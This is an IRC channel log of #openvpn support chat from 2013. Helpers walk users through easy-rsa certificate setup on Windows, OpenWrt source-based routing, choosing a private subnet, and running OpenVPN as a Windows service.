20:19 < Dar1us> and dealw ith the fact it will run as root (briefly) to clone the tap interface
20:21 < Dar1us> I suppose yes, in theory someone could write a plugin for openvpn and whatever VM software you are using so nothing would have to run as root, but noone has yet to my knowledge :)
20:21 < Grievre> ok
20:29 < Grievre> Dar1us: So I can think of one way to easily accomplish this, but it's ugly and slow and laughably impractical
20:30 < Dar1us> so, not easy then :)
20:30 < Grievre> You have the host system, and then you have a linux VM running inside that which has access to the outside network, you run openVPN there, and then inside that you have ANOTHER VM which only has access to the tun/tap interface
20:30 < Dar1us> yeah I wondered about that
20:30 < Dar1us> but it seems pretty silly
20:31 < Dar1us> since you said you weren't doing it for security
20:31 < Grievre> so basically I want a way to achieve the same thing but make the middle layer as thin as possible
20:35 < Dar1us> unless someone writes an openvpn dev type for VDE or something
20:35 < Dar1us> no idea how hard that would be
20:45  * Grievre nods
20:47 < Dar1us> Grievre: get coding :)
20:49 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
20:49 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:51 < Grievre> Dar1us: Actually now that I think about it: you don't need NESTED VMs, you just need two VMs inside one hypervisor. You bridge your local network to the first one, have a second interface on that one which is then bridged to the other VM
20:52 < Grievre> Dar1us: And then you run openvpn on the first VM and bridge
20:52 < Dar1us> yes
20:57 -!- Grievre [~rfm@4.53.128.211] has quit [Quit: leaving]
21:03 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Changing host]
21:03 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
21:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:24 -!- krantz [~d3vd3l@m83-185-60-77.cust.tele2.se] has joined #openvpn
21:25 < krantz> !welcome
21:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:25 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:30 -!- Rahoul [~nicolas@192.95.23.232] has joined #openvpn
21:38 < krantz> Is it ok to ask a question regarding openssl during configuration?
21:43 <@krzee> yes it is but if we dont know we may send you to #openssl
21:43 < krantz> Ok.
21:43 <@krzee> whats up?
21:44 < krantz> I get the following error message after i give the command "build-ca": 'openssl' is not recognized as an internal or external command, operable program or batch file.
21:44 <@krzee> what os?
21:44 < krantz> Im guessing I need to install openssl myself.
21:44 < krantz> WIndows 7 x64.
21:44 <@krzee> did you source vars?
21:45 <@krzee> !pki
21:45 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
21:45 <@vpnHelper> signed specially as a server (see !servercert)
21:45 < krantz> Followed the walkthough step by step.
21:45 <@krzee> that walkthrough above at #1?
21:45 <@krzee> or some other walkthrough from google?
21:46 < krantz> That one.
21:46 < krantz> init-config, vars, clean-all, build-ca.
21:46 < krantz> In that order.
21:47 < krantz> Should I install some of these Windows Installers of openssl? http://slproweb.com/products/Win32OpenSSL.html
21:47 <@vpnHelper> Title: Shining Light Productions - Win32 OpenSSL (at slproweb.com)
21:48 <@krzee> dont need to
21:48 < krantz> Ok...?
21:48 <@krzee> gimme a sec to download easy-rsa and look at the windows stuff
21:48 < krantz> Sure.
21:48 < krantz> Download easy-rsa? That comes with the installer of ovpn, no?
21:49 < krantz> Or do I need to download that by myself? I do have it in the root folder of ovpn though. :)
21:49 < krantz> I'll wait nevertheless. :)
21:49 <@krzee> from the tutorial you say you read
21:49 <@krzee> "For PKI management, we will use easy-rsa, a set of scripts which is bundled with OpenVPN 2.2.x and earlier. If you're using OpenVPN 2.3.x, you need to download easy-rsa separately from here."
21:49 < krantz> Yea. :)
21:49 <@krzee> personally i use ssl-admin instead
21:49 < krantz> Never heard of it...
21:50 <@krzee> its not for windows
21:50 < krantz> Linux Im guessing. :)
21:50 <@krzee> although there are also windows alternatives
21:50 < krantz> I prefer ovpn. :)
21:50 <@krzee> i mean for cert management
21:50 <@krzee> easy-rsa is not openvpn
21:51 < krantz> As far as I know, openssl is suppose to be installed under c:\openssl.
21:51 < krantz> But it isnt. :)
21:51 <@krzee> see if it is anywhere
21:51 < krantz> WIll do, sec.
21:53 <@krzee> i have made certs on windows before, never needed to install openssl myself, but also never used windows 7
21:53 < krantz> Openssl not found...
21:54 < Dar1us> an openssl.exe is pretty easy to find
21:54 <@krzee> screw it i guess install it then
21:54 < Dar1us> http://slproweb.com/products/Win32OpenSSL.html
21:54 <@vpnHelper> Title: Shining Light Productions - Win32 OpenSSL (at slproweb.com)
21:54 <@krzee> ya he linked that earlier
21:57 <@krzee> !factoids search ca
21:57 <@vpnHelper> 'local', 'broadcast-relay', 'bcast', 'duplicate', 'multiple_ca', 'scared', 'scale', and 'xca'
21:57 <@krzee> !xca
21:57 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
21:58 < Dar1us> nice
21:58 < Dar1us> because openssl is terrible software
21:58 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:58 < krantz> Dar1us: Im guessing its for Linux?
21:59 < krantz> Mostly...
21:59 < Dar1us> well..
21:59 < Dar1us> openssl is on virtually every platform
21:59 < Dar1us> sadly, SSL/TLS are hard and pretty much every library to helkp do it has terrible flaws, or makes it much more complicated :(
21:59 < krantz> Darnet...
22:00 < krantz> Installed openssl.
22:00 < krantz> But its not under c:\openssl\
22:00 < krantz> Ehrm
22:00 < krantz> Its under c:\openssl\bin\
22:00 < krantz> The openssl.exe that is.
22:00 < krantz> in that case i need to change that in the vars, no?
22:00 < Dar1us> or just move the binary..
22:01 < Rahoul> Hi, what is the proper syntax to add a whole subnet to a table using iproute? ip rule add 192.168.1.0/24 does not seem to work :)
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < krantz> Hm.
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 < krantz> I installed openssl... But still get the same error message.
22:02 < krantz> THis I hate. :)
22:03 < krantz> I'll see if a reboot makes any difference...
22:03 < Dar1us> what error?
22:03 < krantz> The 'openssl' is not recognized as an internal or external program bla bla bla.
22:04 < Dar1us> what happens if you run c:\openssl\bin\openssl.exe in cmd.exe?
22:04 < krantz> I'll see if the reboot does anything first. :)
22:04 < krantz> Brb.
22:05 < Dar1us> ...
22:05  * Dar1us . o O ( windows users .. )
22:06 < krantz> Thanks Dar1us.
22:08 < krantz> THat did it... So far. I'll let you know how far I get. :)
22:08 < krantz> Thanks so far.
22:08 < krantz> Brb.
22:09 < Rahoul> Dar1us, are you familiarized with ip route (policy based routing)?
22:09 < Dar1us> really?
22:09 < Dar1us> jeez
22:09 < Dar1us> Rahoul: not really
22:09 < Rahoul> np man
22:09 < Rahoul> ;)
22:09 < Rahoul> i managed to get my openwrt box to route based on source ip through a vpn or through the regular isp connection
22:10 < Rahoul> i think it0s kinda cool
22:10 < Rahoul> but im having some syntax probs hehe
22:11 < Rahoul> have you tried proxpn free service?
22:12 <@krzee> ive been messing with policy routing on openwrt for the last few days
22:12 <@krzee> im no expert, in fact i still have 1 last unresolved problem
22:12 < Rahoul> hey krzee
22:12 < Rahoul> what is your problem
22:12 <@krzee> but i have learned a bit and its fresh
22:12 <@krzee> well whats your problem?
22:12 < Rahoul> well mine is that I can easily add ips to a table using ip rule add from 192.168.1.X/24 table vpn dev tun0
22:13 < Rahoul> however there seem to be no way to add a whole subnet using 192.168.1.0/24
22:14 < krantz> If I want to add client keys later (after doing the first configuration). From what command do I need to start from? Init-config -> ?
22:14 < Rahoul> as soon as i enter an ip rule using the whole subnet as shown above, i get no connectivity through the tunnel on any of the ips in the range
22:15 <@krzee> Rahoul, what are you trying to do?
22:15 <@krzee> krantz, no init-config, just vars and build a client
22:16 < krantz> Ok.
22:16 < krantz> Thanks.
22:16 <@krzee> no clean-all either
22:16 < Rahoul> i would like to add a whole subnet, or preferrably a network range, say for example 192.168.1.2-50 ot be routed through the vpn and the rest to be routed over the regular isp connection
22:16 < krantz> K, great. THanks.
22:16 <+EugeneKay> !route
22:16 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
22:16 <@vpnHelper> behind the server or client
22:16 <+EugeneKay> Rahoul ^
22:16 <@krzee> Rahoul, ya you dont do that with policy routing
22:17 <@krzee> Rahoul, you trying to access the lan behind the openvpn client?
22:17 < Rahoul> krzee: well back in Feb i was told to use that here in this chan as policy based routing lets you route based on source ip and it's worked great!
22:17 < Rahoul> no
22:17 < Rahoul> the remote vpn server only gives me access to the internet
22:17 < Rahoul> i just dont want to enter the same rule 50 times, but to do it for a whole ip range :)
22:18 <@krzee> oh i see
22:18 < Rahoul> something like ip rule add from 192.168.1.2-50/24 table vpn dev tun0
22:18 <@krzee> so you dont really mean 192.168.1.0/24 right?
22:18 < Rahoul> yes iether of those
22:18 <@krzee> you mean some internet subnet, right?
22:18 < Rahoul> either*
22:18 < Rahoul> maybe not the whole subnet
22:19 < Rahoul> but say 50 ips
22:19 < Rahoul> in the 2-50 range
22:19 <@krzee> but i mean not a 1918 ip range
22:19 <@krzee> but rather some internet subnet we dont need to mention, correct?
22:19 < Rahoul> yeap
22:19 < Rahoul> 10.11.X.Y
22:19 <@krzee> ok then
22:19 <@krzee> 10. is still 1918
22:19 <@krzee> aka not internet routable
22:19 < Rahoul> i know
22:20 < Rahoul> that works
22:20 <@krzee> in the vpn config put:
22:20 <@krzee> route 192.168.1.0 255.255.255.0
22:20 <@krzee> it will add a route for that subnet to go over the vpn
22:21 < Rahoul> that is the default route for all clients in that subnet
22:21 < Rahoul> and the router offers two gateways
22:21 <@krzee> ohhh
22:21 < Rahoul> eth0 for the ISP and tun0 for openvpn
22:21 <@krzee> ok then in that case you really do want src routing, i didnt get it
22:21 < Rahoul> exactly
22:22 < Rahoul> say for example all ips in the 2-50 range should us tun0 as a gwy and 50-254 eth0
22:23 <@krzee> show me: ip rule show    ip route show table main    ip route show table <whatever else>    iptables-save
22:23 < Rahoul> im not sure how to use iproute to create a rule for 2-50 to use tun0 withouth repeating the same rule 50 times
22:23 < Rahoul> i dont have it yet
22:23 <@krzee> !cidr
22:23 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
22:23 < Rahoul> im trying to figure it out
22:24 <@krzee> !google cidr cheatsheet
22:24 <@vpnHelper> CIDR SUBNET MASK CHEATSHEET & ICMP TYPE CODES - oav: <http://oav.net/mirrors/cidr.html>; The Easy CIDR Cheatsheet | systemBash: <http://systembash.com/content/cidr-cheatsheet/>; CheatSheet/IPv4CIDRNotation - SamatsWiki - Samat Jain: <http://wiki.samat.org/CheatSheet/IPv4CIDRNotation>
22:24 <@krzee> a /26 is 64 ips
22:24 < Rahoul> root@OpenWrt:~#  ip rule show
22:24 < Rahoul> 0:	from all lookup local
22:24 < Rahoul> 32766:	from all lookup main
22:24 < Rahoul> 32767:	from all lookup default
22:24 < Rahoul> there we go...
22:25 < Rahoul> i need to use proper subnet mask
22:25 < Rahoul> i get it
22:26 < Rahoul> but.... ip rule add from 192.168.1.0/24 does not work
22:29 <@krzee> 192.168.1.0/26 is 1-64 like 255.255.255.192#sthash.X1jEEle5.dpuf
22:29 <@krzee> oops
22:29 <@krzee> 192.168.1.0/26 is 1-64 like 255.255.255.192
22:31 < Rahoul> got it
22:31 < Rahoul> that page was mostly helpful
22:31 < Rahoul> thanks for your guidance
22:31 < Rahoul> good evening!
22:31 < Rahoul> :)
22:31 -!- Rahoul [~nicolas@192.95.23.232] has quit [Remote host closed the connection]
22:32 < krantz> NOw this is strange..
22:33 < krantz> I set it up working fine.
22:34 < krantz> But while connected to the server running ovpn via rdp i connect to the ovpn server and all is fine. When i disconnect the rdp the connection with ovpn is lost.
22:35 < krantz> Have some stuff from the log...
22:35 < krantz> WHere do you want it?
22:36 < krantz> Something about "route.exe DELETE 10.0.0.0 MASK 255.255.255.0 10.0.0.2"
22:36 < krantz> !logs
22:36 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
22:44 < krantz> !logfile
22:44 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
22:44 < krantz> Anyone?
22:45 < krantz> I get: Fri Jul 19 05:44:54 2013 MANAGEMENT: >STATE:1374205494,WAIT,,,
23:00 -!- vedic [~V@183.82.83.10] has joined #openvpn
23:00 <@krzee> pastebin or similar
23:01 < krantz> Huh?
23:01 < krantz> Pastebin?
23:01 < vedic> Hey guys, need practical advice. I have several clients (around 100+) who wants to send speeches of corporate importance (recordings of their meetings) but they want the entire communication be as much secure as possible, no external eavesdropping should be possible. These clients will also run access to database, plain TCP/IP sockets connection for accessing one of our servers and http API to have reporting etc.
23:01 < krantz> DOnt know what that means.
23:01 <@krzee> krantz> Have some stuff from the log...
23:01 <@krzee> krantz> WHere do you want it?
23:01 < krantz> Yes.
23:02 < krantz> But what is pastebin?
23:02 < vedic> Though the data transmitted is not big in size (less than 100KB each time) but it is expected that things happen almost real time (I have 50 Mbps line). Is VPN setup for all the clients a best way?
23:02 < krantz> Just paste it in here?
23:02 <@krzee> !google pastebin
23:02 <@vpnHelper> Pastebin.com - #1 paste tool since 2002!: <http://pastebin.com/>; Trending Pastes at Pastebin.com: <http://pastebin.com/trends>; Pastebin - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Pastebin>
23:02 < krantz> Oh, ok.
23:02 < krantz> :)
23:03 < krantz> krzee: http://pastebin.com/VjfDcUau
23:03 <@krzee> vedic, i can not think of a better way. so you know their upload speed is likely not 50mbit
23:03 < krantz> Thats the server side, krzee.
23:04 <@krzee> show me the server config without comments?
23:04 <@krzee> !configs
23:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:04 < krantz> Sec.
23:05 <@krzee> Fri Jul 19 05:47:22 2013 IFCONFIG POOL: base=85.0.0.4 size=62, ipv6=0
23:05 <@krzee> whoaaaa
23:05 <@krzee> why are you using 85.0.0.0/24?
23:05 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:08 < krantz> why not?
23:08 <@krzee> !1918
23:08 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
23:08 < krantz> http://pastebin.com/bqKPc8RG
23:09 <@krzee> all those lines starting with ; are comments
23:10 < krantz> Oh, ok
23:10 < krantz> Sorry.
23:10 < krantz> Thought u ment #
23:10 < krantz> Oh well
23:10 < krantz> Now I know.
23:11 <@krzee> ok your config is fine except for your subnet
23:11 < krantz> Ok.
23:11 < krantz> THen what could be the problem?
23:11 < krantz> Something with my router?
23:11 < krantz> No...
23:11 <@krzee> dunno go change your subnet and then lets find out
23:11 < krantz> Ok. Brb.
23:12 <@krzee> http://scarydevilmonastery.net/subnet.cgi
23:12 <@vpnHelper> Title: subnet suggestor (at scarydevilmonastery.net)
23:13 < vedic> karzee, krantz: Would there be any issue if the client (which is also a corporate) has say higher bandwidth or low bandwidth (say 2 Mbps)?
23:13 < krantz> Tells me my subnet is 10.147.50.0/24
23:14 -!- fulcan [brads@2600:3c01::f03c:91ff:feae:9ef3] has joined #openvpn
23:14 < krantz> No change. Still disconnects when I disconnect from rdp.
23:15 <@krzee> vedic, it would take longer to upload.
23:16 < fulcan> server can ping clients but clients cannot ping each other.  server route http://bpaste.net/show/wMyiXJ9wbQlTj5drJpaP/
23:16 <@krzee> if the audio is already compressed it shouldnt be such a big deal
23:16 <@krzee> fulcan,
23:16 <@krzee> !c2c
23:16 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things behind
23:16 <@vpnHelper> other clients
23:19 < fulcan> its the winserver firewall?
23:19 < Dar1us> but if you don't have a firewall setup (or it is permissive) then you probblay have other problems
23:19 < Dar1us> (like broken routing)
23:19 < fulcan> Do I disable it to get communication?
23:24 < krantz> krzee: The problem still remains. I wonder what could be the problem.
23:24 <@krzee> from the client
23:25 <@krzee> ping the server
23:25 -!- vedic [~V@183.82.83.10] has quit [Ping timeout: 248 seconds]
23:25 < krantz> I did that...
23:25 <@krzee> ping -c 10000 vpn.server.ip
23:25 < krantz> Works.
23:25 <@krzee> leave it going
23:25 < krantz> I do.
23:25 <@krzee> rdp in, exit rdp
23:25 < krantz> Sec.
23:25 -!- vedic [~V@117.231.251.149] has joined #openvpn
23:26 <@krzee> you are only closing rdp right?
23:26 <@krzee> cause your log looked like you closed openvn
23:26 <@krzee> openvpn*
23:27 < vedic> krzee: Audio is almost never going to be bigger than a 100 to 200KB
23:27 <@krzee> ahh cool
23:27 <@krzee> sounds all good
23:30 < krantz> krzee: Hm.
23:30 < krantz> Strange that.
23:30 < krantz> Brb.
23:32 -!- vedic1 [~V@183.82.83.178] has joined #openvpn
23:32 < krantz> As soon as I disconnect the rdp, the vpn server halts like before.
23:32 < krantz> wtf...
23:32 <@krzee> show me the log via pastebin
23:32 < krantz> k...
23:33 < krantz> http://pastebin.com/VjfDcUau
23:33 -!- vedic [~V@117.231.251.149] has quit [Read error: Connection reset by peer]
23:33 <@krzee> wtf
23:34 <@krzee> didnt you say you changed the subnet?
23:34 < krantz> yes.
23:34 < krantz> Oh
23:34 < krantz> thats the old log
23:34 < krantz> Hang on
23:34 <@krzee> heh
23:35 < krantz> http://pastebin.com/F3anqzaK
23:36 <@krzee> its disconnecting in 30 seconds
23:36 <@krzee> how could you be connecting to rdp and disconnecting that fast?
23:37 <@krzee> wait dude
23:37 <@krzee> its still giving that messed up subnet
23:37 < krantz> i access the server running the vpn server via rdp
23:37 < krantz> oh?
23:39 <@krzee> you can not use 85.0.0.0/24
23:40 < krantz> Im not.
23:40 < krantz> Im suing 192.168.85.0
23:40 < vedic1> Is it possible that from my office premise I connect to the remote server over VPN for managing resources but the clients (other corporates and developers), use TLS/SSL to communicate using APIs to the same server?
23:40 <@krzee> remove this line: ifconfig-pool-persist ipp.txt
23:41 <@krzee> vedic1, i dont understand you
23:42 -!- XReaper [XReaper@i.bought.this.domain.fornoreason.net.au] has joined #openvpn
23:42  * XReaper pings EugeneKay 
23:42 -!- mode/#openvpn [+o EugeneKay] by ChanServ
23:42  * EugeneKay bites XReaper. Hard.
23:43 < XReaper> :o
23:43 < krantz> krzee: Removed the line. No change.
23:43 <@krzee> its still using 85.0.0.0/24?
23:43 < vedic1> krzee: Is it possible that any one client connects over VPN but others use SSH or HTTPS to connect with the server? Does VPN setup on the server forces all the clients to have vpn configs?
23:44 < krantz> krzee: No. 192.168.85.0/24
23:45 < krantz> I'll try connecting from another system remotely.
23:45 <@krzee> vedic1, no, they must be on the vpn to access things listening on the vpn
23:46 <@krzee> krantz, then show me new logs
23:46 < krantz> krzee: I gave you the new log from the server... http://pastebin.com/F3anqzaK
23:46 < krantz> The 83* is my internet ip.
23:47 < krantz> External ip.
23:47 < krantz> From where I'm connecting.
23:47 <@krzee> krantz, bullshit. that log has 85.0.0.0/24 AND ipp.txt
23:47 < krantz> Gah.
23:47 < krantz> :)
23:47 < krantz> It does not...
23:47 < krantz> :)
23:47 < krantz> Not asfar as I see. :)
23:47 <@krzee> oh wait no
23:48 < krantz> Ehm... You were saying? :)
23:48 <@krzee> meh i may be blind i duno
23:48 <@krzee> sorry
23:48 < krantz> Hehe, np.
23:48 <@krzee> its still happening after like 30 seconds
23:48 <@krzee> so i still dont believe you have a rdp session in that time
23:48 < krantz> It happens the same instant second that I disconnect from the server with rdp.
23:48 < krantz> Dude, I do.
23:49 <@krzee> ohhhh i get it
23:49 <@krzee> you're starting openvpn inside an rdp session then disconnecting it
23:49 <@krzee> not using rdp over the vpn
23:49 <@EugeneKay> Use Disconnect, not Log Off
23:49  * XReaper bites EugeneKay back
23:49 <@EugeneKay> Or start it as a Windows service
23:49 < krantz> I connect to the server, start the openvpn server, connect the client to the openvpn server and disconnect the rdp session. Its at that point the openvpn server f*cks up.
23:49 <@krzee> yep ild go with windows service
23:50 < krantz> Huh?
23:50 <@EugeneKay> I'd call that expected behaviour
23:50 <@krzee> its not openvpn fucking up its you starting openvpn as a child of a session you immediately kill
23:50 <@EugeneKay> !windows
23:50 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
23:50 <@EugeneKay> Ugh
23:50 < krantz> Og
23:50 <@EugeneKay> !win_shortcut
23:50 < krantz> Oh
23:50 < krantz> I get it
23:50 <@EugeneKay> Fuck you, bot.
23:50 <@EugeneKay> !factoids search shortcut
23:50 <@vpnHelper> "winshortcut" is To start OpenVPN-GUI easily on Windows, make a shortcut and set the Target as: \"C:\Program Files (x86)\OpenVPN\bin\openvpn-gui-1.0.3.exe\" --config_dir \"C:\path\to\config\" --connect client.ovpn --show_balloon 0 --silent_connection 1 --show_script_window 0
23:50 < krantz> Hold on
23:50 < krantz> :)
23:50 <@EugeneKay> Nope, that's not the one
23:50 <@EugeneKay> !factoids search service
23:50 <@vpnHelper> No keys matched that query.
23:51 <@EugeneKay> I give up.
23:51 < XReaper> Sounds like a plan
23:53 < krantz> That means I need to use rdp in /console or /admin mode to no have it run as a child session... Brb.
23:55 < XReaper> EugeneKay: that bot seems less useful than arch's bot
23:55 <@EugeneKay> At least it hasn't been brainwiped
23:55 < XReaper> brainwiped?
23:55 <@EugeneKay> Like linbot
23:56 <@EugeneKay> It's funny, both are actually supybot
23:56 < XReaper> phrik is best bot
23:56 <@EugeneKay> My bot is (mostly) supy too
23:56 <@krzee> !factoids search win
23:56 <@vpnHelper> 'winroute', 'winpass', 'win_noadmin', 'winipforward', '2.1-winpass-script', 'wintaphide', 'wins', 'win_ipfail', 'win2k8', 'sudowin', 'win_tcplimit', 'winnat', 'winscript', 'win_rollup', 'winpath', 'winsudo', 'windows_mobile', 'win_build', 'new_win_gui', 'win7', 'win-dns-vista-7', 'win-dns-xp', 'win-dns', 'winshortcut', 'windows_problems', and 'windows'
23:57 < XReaper> !winshortcut
23:57 <@vpnHelper> "winshortcut" is To start OpenVPN-GUI easily on Windows, make a shortcut and set the Target as: \"C:\Program Files (x86)\OpenVPN\bin\openvpn-gui-1.0.3.exe\" --config_dir \"C:\path\to\config\" --connect client.ovpn --show_balloon 0 --silent_connection 1 --show_script_window 0
23:57 <@EugeneKay> It's actually connected to a ZNC account, with some other shit hooked in, including a MORPG's debug interface
23:57 < XReaper> EugeneKay: With the factoids, put a <reply> at the front to get rid of the 'blah is'
23:58 <@EugeneKay> Funny story, I don't have access to the factoids here
23:59 < krantz> krzee: Make openvpn a service in Windows or the other way around?
--- Day changed Fri Jul 19 2013
00:00 <@EugeneKay> It already is a service; you need to drop your .conf into c:\program files (x86)\openvpn\conf\
00:00 <@EugeneKay> s/.conf/.ovpn
00:00 <@EugeneKay> Then enable it in the services mmc thingy
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:01 <@EugeneKay> I hate myself for having all of this mindless technical trivia memorized, but not knowing what I had for lunch
00:01 < Dar1us> eat more memorable food
00:02 < krantz> EugeneKay: Ok. I'll give it a shot. :)
00:02 < krantz> Thanks alot so far people
00:02 <@EugeneKay> I want to say turkey sammich
00:02 -!- troj [~xxx@94.242.205.4] has joined #openvpn
00:06 < krantz> Yay! Works. :)
00:06 < krantz> Thanks guys.
00:07 <@EugeneKay> Sure thing.
00:20 < krantz> Ehm... Sorry but I just got an idea.
00:21 < krantz> What if I would want to access other computer in the network but not make the vpn connection change my default internet gateway?
00:21 < krantz> What would I have to do? Route stuff in my router where the vpn server is setup?
00:22 <@EugeneKay> !route
00:22 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
00:22 <@vpnHelper> behind the server or client
00:24 < krantz> Uhm. I dont know if thats the right article.
00:25 < krantz> What I want is to be able to access other computer on the same network as my vpn server is setup on.
00:25 <@EugeneKay> From where? A vpn client?
00:25 < krantz> Yes.
00:25 <@EugeneKay> Then yes, it is.
00:25 < krantz> I can access the server fine. But also want to access a few other computers running on same network As the server is.
00:25 < krantz> Hm, ok.
00:26 <@EugeneKay> !serverlan
00:26 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png or (#4) flowchart mirror
00:26 <@vpnHelper> at http://pekster.sdf.org/misc/serverlan.png
00:26 < krantz> Thanks. I'll get back to you in a few days or so. :)
00:27 < krantz> !ipforward
00:27 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
00:27 <@EugeneKay> I am a patient man
00:28 < krantz> That means I need to config my router to route the signal back to the server, no?
00:29 <@EugeneKay> Is your openvpn server not the default gw for the LAN it's on?
00:29 < krantz> gw?
00:29 <@EugeneKay> gateway
00:29 < krantz> I dont know, is it?
00:30 <@EugeneKay> I have no clue.
00:30 <@EugeneKay> Your network
00:30 < krantz> All the vpn server does at the moment is letting me access the server itself.
00:30 < krantz> Not any other computer.
00:30 <@EugeneKay> Is the server behind any sort of NAT? IOW, do you have to forward a port to it?
00:30 < krantz> Yes.
00:30 <@EugeneKay> Then yes.
00:31 < krantz> Ok.
00:31 <@EugeneKay> You need to tell the router about the vpn subnet
00:31 < krantz> Just add a route that says 192.168.85.1?
00:31 < krantz> Which is the vpn ip.
00:31 <@EugeneKay> !route_outside_ovpn
00:31 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
00:32 <@EugeneKay> Whatver your VPN subnet is (10.8.0.0/24 in the docs) should be routed to your VPn server's LAN IP(souns like 192.168.85.1, yes)
00:32 < krantz> Ok.
00:41 < krantz> Wait
00:42 < krantz> I guess it should be routed to the internal ip of the network server ip?
00:42 < krantz> Which in that case is 192.168.10.12
00:42 < krantz> Thats the internal physical address.
00:44 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 240 seconds]
00:47 < krantz> EugeneKay?
00:48 <@EugeneKay> "internal" meaning the network shared by the server and it's router, yes
00:49 < krantz> Ok. Thanks.
00:54 -!- fulcan [brads@2600:3c01::f03c:91ff:feae:9ef3] has quit [Quit: ircII EPIC5-0.3.5 -- Are we there yet?]
00:57 < krantz> I am having a hard time understanding exactly what it is I'm going to add in the server and client conf.
01:01 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:04 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
01:09 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:14 <@EugeneKay> Read harder, not smarter.
01:16 < krantz> Ehr?
01:19 < krantz> I added the 'push "route 192.168.10.0/24 255.255.255.0"', added the route in the router (dst. address: 192.168.85.0/24, pref. source: 192.168.85.1). Not working.
01:19 < krantz> What am I missing?
01:20 < krantz> -/24.
